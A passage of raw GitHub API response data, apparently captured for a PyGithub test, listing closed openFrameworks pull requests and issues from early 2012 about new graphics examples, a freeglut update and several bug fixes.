test!)","labels":[],"closed_at":"2012-02-24T22:11:08Z","created_at":"2012-02-24T00:48:49Z","state":"closed","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"damiannz","id":144366},"id":3366248,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/949.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/949","patch_url":"https://github.com/openframeworks/openFrameworks/pull/949.patch"}},{"updated_at":"2012-02-24T18:32:55Z","body":"very simple.... humble examples Daniel Son","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/948","comments":0,"milestone":null,"number":948,"html_url":"https://github.com/openframeworks/openFrameworks/issues/948","assignee":null,"title":"Simple example of vector of pointers","labels":[],"closed_at":"2012-02-24T18:32:55Z","created_at":"2012-02-23T23:50:13Z","state":"closed","user":{"url":"https://api.github.com/users/patriciogonzalezvivo","gravatar_id":"69406d376e65f8070acfbe220f246989","avatar_url":"https://secure.gravatar.com/avatar/69406d376e65f8070acfbe220f246989?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"patriciogonzalezvivo","id":346914},"id":3365569,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/948.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/948","patch_url":"https://github.com/openframeworks/openFrameworks/pull/948.patch"}},{"updated_at":"2012-02-23T23:47:57Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/947","comments":0,"milestone":null,"number":947,"html_url":"https://github.com/openframeworks/openFrameworks/issues/947","assignee":null,"title":"Simple Color Key example","labels":[],"closed_at":"2012-02-23T23:47:57Z","created_at":"2012-02-23T23:42:04Z","state":"closed","user":{"url":"https://api.github.com/users/obviousjim","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"obviousjim","id":321434},"id":3365459,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/947.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/947","patch_url":"https://github.com/openframeworks/openFrameworks/pull/947.patch"}},{"updated_at":"2012-02-23T22:54:48Z","body":"vboExample\r\npointCloudExample","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/946","comments":0,"milestone":null,"number":946,"html_url":"https://github.com/openframeworks/openFrameworks/issues/946","assignee":null,"title":"adding a few examples","labels":[],"closed_at":"2012-02-23T22:54:48Z","created_at":"2012-02-23T22:49:08Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"kylemcdonald","id":157106},"id":3364652,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/946.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/946","patch_url":"https://github.com/openframeworks/openFrameworks/pull/946.patch"}},{"updated_at":"2012-02-23T22:49:30Z","body":"vboExample\r\npointCloudExample","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/945","comments":0,"milestone":null,"number":945,"html_url":"https://github.com/openframeworks/openFrameworks/issues/945","assignee":null,"title":"adding a few examples","labels":[],"closed_at":"2012-02-23T22:49:30Z","created_at":"2012-02-23T22:48:16Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"kylemcdonald","id":157106},"id":3364634,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/945.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/945","patch_url":"https://github.com/openframeworks/openFrameworks/pull/945.patch"}},{"updated_at":"2012-02-23T22:24:21Z","body":"a 3d example showing how to texture a mesh with a camera input, using the pixels to modify the geometry","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/944","comments":0,"milestone":null,"number":944,"html_url":"https://github.com/openframeworks/openFrameworks/issues/944","assignee":null,"title":"Mesh from Camera example","labels":[],"closed_at":"2012-02-23T22:24:21Z","created_at":"2012-02-23T22:09:04Z","state":"closed","user":{"url":"https://api.github.com/users/obviousjim","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"obviousjim","id":321434},"id":3364038,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/944.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/944","patch_url":"https://github.com/openframeworks/openFrameworks/pull/944.patch"}},{"updated_at":"2012-02-23T21:10:30Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/943","comments":0,"milestone":null,"number":943,"html_url":"https://github.com/openframeworks/openFrameworks/issues/943","assignee":null,"title":"restructured again, removed project files","labels":[],"closed_at":"2012-02-23T21:10:30Z","created_at":"2012-02-23T21:08:20Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"kylemcdonald","id":157106},"id":3363024,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/943.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/943","patch_url":"https://github.com/openframeworks/openFrameworks/pull/943.patch"}},{"updated_at":"2012-02-23T21:09:05Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/942","comments":0,"milestone":null,"number":942,"html_url":"https://github.com/openframeworks/openFrameworks/issues/942","assignee":null,"title":"simple multiTexturing Shader example","labels":[],"closed_at":"2012-02-23T21:09:05Z","created_at":"2012-02-23T21:07:46Z","state":"closed","user":{"url":"https://api.github.com/users/patriciogonzalezvivo","gravatar_id":"69406d376e65f8070acfbe220f246989","avatar_url":"https://secure.gravatar.com/avatar/69406d376e65f8070acfbe220f246989?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"patriciogonzalezvivo","id":346914},"id":3363014,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/942.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/942","patch_url":"https://github.com/openframeworks/openFrameworks/pull/942.patch"}},{"updated_at":"2012-02-23T21:09:24Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/941","comments":0,"milestone":null,"number":941,"html_url":"https://github.com/openframeworks/openFrameworks/issues/941","assignee":null,"title":"camera and 3d ribbon drawing example","labels":[],"closed_at":"2012-02-23T21:09:24Z","created_at":"2012-02-23T20:53:00Z","state":"closed","user":{"url":"https://api.github.com/users/obviousjim","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"obviousjim","id":321434},"id":3362787,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/941.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/941","patch_url":"https://github.com/openframeworks/openFrameworks/pull/941.patch"}},{"updated_at":"2012-02-25T11:35:00Z","body":"my first stab at an example demonstrating HSB color usage","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/940","comments":1,"milestone":null,"number":940,"html_url":"https://github.com/openframeworks/openFrameworks/issues/940","assignee":null,"title":"color (HSB) example","labels":[],"closed_at":"2012-02-25T11:35:00Z","created_at":"2012-02-23T19:29:00Z","state":"closed","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"damiannz","id":144366},"id":3361558,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/940.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/940","patch_url":"https://github.com/openframeworks/openFrameworks/pull/940.patch"}},{"updated_at":"2012-02-23T19:43:07Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/939","comments":0,"milestone":null,"number":939,"html_url":"https://github.com/openframeworks/openFrameworks/issues/939","assignee":null,"title":"Quaternion examples for 3d","labels":[],"closed_at":"2012-02-23T19:43:07Z","created_at":"2012-02-23T19:25:33Z","state":"closed","user":{"url":"https://api.github.com/users/obviousjim","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"obviousjim","id":321434},"id":3361490,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/939.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/939","patch_url":"https://github.com/openframeworks/openFrameworks/pull/939.patch"}},{"updated_at":"2012-02-23T19:28:05Z","body":"my stab at an example demonstrating HSB colour setting","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/938","comments":0,"milestone":null,"number":938,"html_url":"https://github.com/openframeworks/openFrameworks/issues/938","assignee":null,"title":"color (HSB) example","labels":[],"closed_at":"2012-02-23T19:28:05Z","created_at":"2012-02-23T19:24:29Z","state":"closed","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"damiannz","id":144366},"id":3361464,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/938.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/938","patch_url":"https://github.com/openframeworks/openFrameworks/pull/938.patch"}},{"updated_at":"2012-02-24T05:20:39Z","body":"...g to ofLog ostream operator, fixes #761","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/937","comments":0,"milestone":null,"number":937,"html_url":"https://github.com/openframeworks/openFrameworks/issues/937","assignee":null,"title":"default log level is now OF_LOG_NOTICE, fixes #858; removed space paddin...","labels":[],"closed_at":"2012-02-24T05:20:39Z","created_at":"2012-02-23T19:22:47Z","state":"closed","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"danomatika","id":480637},"id":3361430,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/937.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/937","patch_url":"https://github.com/openframeworks/openFrameworks/pull/937.patch"}},{"updated_at":"2012-02-23T19:24:31Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/936","comments":0,"milestone":null,"number":936,"html_url":"https://github.com/openframeworks/openFrameworks/issues/936","assignee":null,"title":"Two Quaternion based examples for the 3d folder","labels":[],"closed_at":"2012-02-23T19:24:31Z","created_at":"2012-02-23T19:22:40Z","state":"closed","user":{"url":"https://api.github.com/users/obviousjim","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"obviousjim","id":321434},"id":3361426,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/936.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/936","patch_url":"https://github.com/openframeworks/openFrameworks/pull/936.patch"}},{"updated_at":"2012-02-23T19:16:55Z","body":"makes a little more sense now, after discussion with arturo.\r\n\r\n(trying to send this again)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/935","comments":0,"milestone":null,"number":935,"html_url":"https://github.com/openframeworks/openFrameworks/issues/935","assignee":null,"title":"fixed example structure","labels":[],"closed_at":"2012-02-23T19:16:55Z","created_at":"2012-02-23T18:40:16Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"kylemcdonald","id":157106},"id":3360790,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/935.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/935","patch_url":"https://github.com/openframeworks/openFrameworks/pull/935.patch"}},{"updated_at":"2012-02-23T18:39:20Z","body":"makes a little more sense now, after discussion with arturo.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/934","comments":0,"milestone":null,"number":934,"html_url":"https://github.com/openframeworks/openFrameworks/issues/934","assignee":null,"title":"fixed example structure","labels":[],"closed_at":"2012-02-23T18:39:20Z","created_at":"2012-02-23T18:38:58Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"kylemcdonald","id":157106},"id":3360773,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/934.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/934","patch_url":"https://github.com/openframeworks/openFrameworks/pull/934.patch"}},{"updated_at":"2012-02-24T23:39:28Z","body":"-> Allow use of Multisampling on Windows 7 (call of method setGlutDisplayString(\"rgba double samples>=4 depth alpha\")).\r\nPartielly fix Issue #412\r\n\r\nall examples have been successfully tested (use of freeglut instead of glut)\r\n\r\nexamples Graphics, Polygon, Advanced3d and AdvancedEvents have been successfully tested with multisampling\r\n\r\nAdd compileAllExemples script on windows 7 64bits named compileAllExamplesOnWindowsx64.bat","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/932","comments":1,"milestone":null,"number":932,"html_url":"https://github.com/openframeworks/openFrameworks/issues/932","assignee":null,"title":"Replacement of old glut by freeglut 2.8","labels":[],"closed_at":"2012-02-24T23:39:28Z","created_at":"2012-02-23T15:22:48Z","state":"closed","user":{"url":"https://api.github.com/users/benerone","gravatar_id":"695cbec02130d955193699b9f57f3537","avatar_url":"https://secure.gravatar.com/avatar/695cbec02130d955193699b9f57f3537?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"benerone","id":1463319},"id":3357412,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/932.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/932","patch_url":"https://github.com/openframeworks/openFrameworks/pull/932.patch"}},{"updated_at":"2012-02-23T03:43:32Z","body":"david's code was really confusing","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/927","comments":0,"milestone":null,"number":927,"html_url":"https://github.com/openframeworks/openFrameworks/issues/927","assignee":null,"title":"clarifying of ofMesh::getCentroid","labels":[],"closed_at":"2012-02-23T03:43:32Z","created_at":"2012-02-23T03:35:54Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"kylemcdonald","id":157106},"id":3351086,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/927.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/927","patch_url":"https://github.com/openframeworks/openFrameworks/pull/927.patch"}},{"updated_at":"2012-02-26T04:12:31Z","body":"I noticed that PR's are coming in so thought I'd try this out.\r\n\r\nHere's a couple of additions / fixes for 3d in oF","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/924","comments":7,"milestone":null,"number":924,"html_url":"https://github.com/openframeworks/openFrameworks/issues/924","assignee":null,"title":"Section 3d","labels":[],"closed_at":"2012-02-25T19:29:01Z","created_at":"2012-02-21T08:45:05Z","state":"closed","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":3308155,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/924.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/924","patch_url":"https://github.com/openframeworks/openFrameworks/pull/924.patch"}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=11&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '34706'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"8850a976447909b25534f28d1e1c245b"'), ('date', 'Tue, 29 May 2012 18:46:31 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-02-21T08:44:28Z","body":"I noticed that PR's are coming in so thought I'd try this out.\r\n\r\nHere's a couple of additions / fixes for 3d in oF","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/923","comments":0,"milestone":null,"number":923,"html_url":"https://github.com/openframeworks/openFrameworks/issues/923","assignee":null,"title":"Section 3d","labels":[],"closed_at":"2012-02-21T08:44:28Z","created_at":"2012-02-21T08:43:39Z","state":"closed","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3308136,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/923","patch_url":"https://github.com/openframeworks/openFrameworks/pull/923.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/923.diff"}},{"updated_at":"2012-02-25T18:33:00Z","body":"hi,\r\n\r\nive merged the ofxiOS addon (https://github.com/julapy/ofxiOS) into ofxiPhone.\r\nits a significant change to ofxiPhone and so im wondering if there is a testing procedure for this?\r\ni have an example which tests the new code but not sure if to upload it somewhere or to commit it to the iPhoneSpecificExamples folder.\r\nlet me know the best way to go about this.\r\n\r\nthx,\r\nL.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/921","comments":1,"milestone":null,"number":921,"html_url":"https://github.com/openframeworks/openFrameworks/issues/921","assignee":null,"title":"merge ofxiOS into ofxiPhone","labels":[],"closed_at":"2012-02-25T18:33:00Z","created_at":"2012-02-16T22:34:27Z","state":"closed","user":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"id":3259859,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/921","patch_url":"https://github.com/openframeworks/openFrameworks/pull/921.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/921.diff"}},{"updated_at":"2012-03-15T18:34:17Z","body":"logic error - if the file doesn't exist and overwrite is set to true it returns prematurely. \r\n\r\nthis needs removing:\r\n\r\n\t\t\telse{\r\n\t\t\tofLog(OF_LOG_WARNING, \"ofFile::moveFromTo destination file/folder exists, use bool overwrite if you want to overwrite destination file/folder\");\r\n\t\t\treturn false;\r\n\t\t\t}\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/918","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":918,"html_url":"https://github.com/openframeworks/openFrameworks/issues/918","assignee":null,"title":"bug in ofFile::moveFromTo / copyFromTo","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2012-03-15T18:34:17Z","created_at":"2012-02-15T21:06:20Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":3241883,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-02-24T19:53:13Z","body":"Apologies it turns out my last fix to closeMovie was not the best approach: https://github.com/openframeworks/openFrameworks/pull/887\r\n\r\nAdding width = height = 0 in closeMovie forces the QuicktimePlayer to reallocate pixels and MemGWorld every time you have closed a movie in an instance...but after more extensive testing on Mac and PC it would seem that a better approach is to not clearMemory() in the closeMovie call, but only in the dtor.\r\n\r\nThis is for two reasons:\r\n\r\n!) we don't clear the gWorld pixels and we don't dispose of the MemGworld in the closeMovie call so it doesn't make sense to clear our pixels\r\n2) if you are rapidly (ie., in a thread) opening and closing movies of the same width and height as fast as possible it turns out it's best not to try to dispose and reallocate the memGworld and gWorld pixels -> this is possibly because we are not deleting the gWorld pixels (the crash is a malloc error when new'ing the gWorld pixels)\r\n\r\nUsing this method gives the fastest results when loading/unloading movies of the same size.\r\n\r\nIf we're not happy with leaving memory allocated after a call to closeMovie we could try another approach which is to move the calls in the dtor into the closeMovie call...\r\n\r\nBut it seems to me that there is no harm in leaving the pixels, gWorld pixels and MemGworld allocated in an instance...the smart pointer will delete the pixels if we stop using the instance and if the user is using a pointer then they will delete it with the same result...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/913","comments":0,"milestone":null,"number":913,"html_url":"https://github.com/openframeworks/openFrameworks/issues/913","assignee":null,"title":"Bugfix of quicktime player (updated)","labels":[],"closed_at":"2012-02-24T19:53:13Z","created_at":"2012-02-11T01:11:44Z","state":"closed","user":{"url":"https://api.github.com/users/gameoverhack","avatar_url":"https://secure.gravatar.com/avatar/397ac2141aace0681a354185e7efb0f1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"397ac2141aace0681a354185e7efb0f1","login":"gameoverhack","id":331599},"id":3182222,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/913","patch_url":"https://github.com/openframeworks/openFrameworks/pull/913.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/913.diff"}},{"updated_at":"2012-03-13T14:24:08Z","body":"In my understanding ofQuaternion ofMatrix4x4::getRotate() should return an ofQuaternion which contains only the rotation part of the transformation stored in the matrix. It should therefore be scale invariant.\r\nHowever scaling the matrix produces different outputs of getRotate():\r\n\r\n
ofMatrix4x4 m;                          // identity matrix m\r\nm.rotate(45, 1, 0, 0);                  // rotates m by 45 degrees around x-axis\r\ncout << m.getRotate() << endl;          // writes return value of getRotate() to the console\r\ncout << m.getScale() << endl << endl;   // writes return value of getScale() to the console\r\nm.scale(2, 2, 2);                       // scales the matrix symmetrically in all dimensions\r\ncout << m.getRotate() << endl;          // writes return value of getRotate() to the console\r\ncout << m.getScale() << endl;           // writes return value of getScale() to the console\r\n
\r\n\r\nExpected behavior:\r\n
       1,        0,        0,        0\r\n       0, 0.707107, 0.707107,        0\r\n       0, -0.707107, 0.707107,        0\r\n       0,        0,        0,        1\r\n1, 1, 1\r\n\r\n       1,        0,        0,        0\r\n       0, 0.707107, 0.707107,        0\r\n       0, -0.707107, 0.707107,        0\r\n       0,        0,        0,        1\r\n2, 2, 2\r\n
\r\n\r\nObserved behavior:\r\n
       1,        0,        0,        0\r\n       0, 0.707107, 0.707107,        0\r\n       0, -0.707107, 0.707107,        0\r\n       0,        0,        0,        1\r\n1, 1, 1\r\n\r\n       1,        0,        0,        0\r\n       0,  0.61878, 0.785564,        0\r\n       0, -0.785564,  0.61878,        0\r\n       0,        0,        0,        1\r\n2, 2, 2\r\n
\r\n\r\nSo getScale() returns the correct values, but getRotate() does not and might need to be fixed.\r\n\r\nofMatrix4x4::decompose() seems to always return the correct rotation quaternion.\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/912","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":912,"html_url":"https://github.com/openframeworks/openFrameworks/issues/912","assignee":null,"title":"Bug in ofMatrix4x4::getRotate","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2012-03-13T14:24:08Z","created_at":"2012-02-10T14:30:37Z","state":"closed","user":{"url":"https://api.github.com/users/santa41116","avatar_url":"https://secure.gravatar.com/avatar/40b8d7b7ecf1a7937dda0f1a2308b869?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"40b8d7b7ecf1a7937dda0f1a2308b869","login":"santa41116","id":941916},"id":3172556,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-02-10T02:39:14Z","body":"the current develop branch is broken. click here to fix!\r\n\r\nedit: i'm terrible at selecting \"develop\" instead of \"master\".","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/911","comments":0,"milestone":null,"number":911,"html_url":"https://github.com/openframeworks/openFrameworks/issues/911","assignee":null,"title":"OF_LOG_NOTICE errors from current build","labels":[],"closed_at":"2012-02-10T02:39:14Z","created_at":"2012-02-10T02:29:24Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3167036,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/911","patch_url":"https://github.com/openframeworks/openFrameworks/pull/911.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/911.diff"}},{"updated_at":"2012-02-10T02:28:38Z","body":"the current develop branch is broken. click here to fix!","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/910","comments":0,"milestone":null,"number":910,"html_url":"https://github.com/openframeworks/openFrameworks/issues/910","assignee":null,"title":"OF_LOG_NOTICE errors from current build","labels":[],"closed_at":"2012-02-10T02:28:38Z","created_at":"2012-02-10T02:28:23Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3167033,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/910","patch_url":"https://github.com/openframeworks/openFrameworks/pull/910.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/910.diff"}},{"updated_at":"2012-02-25T03:30:47Z","body":"All \"arc\" methods now accept any start or stop angle. Counter clockwise arcs can now be drawn with arcNegative method. Associated Cairo support for \"arc_negative\" added and tested. Circle Points LUT preserved for all. Arc method generally re-written to support both clockwise and counter-clockwise 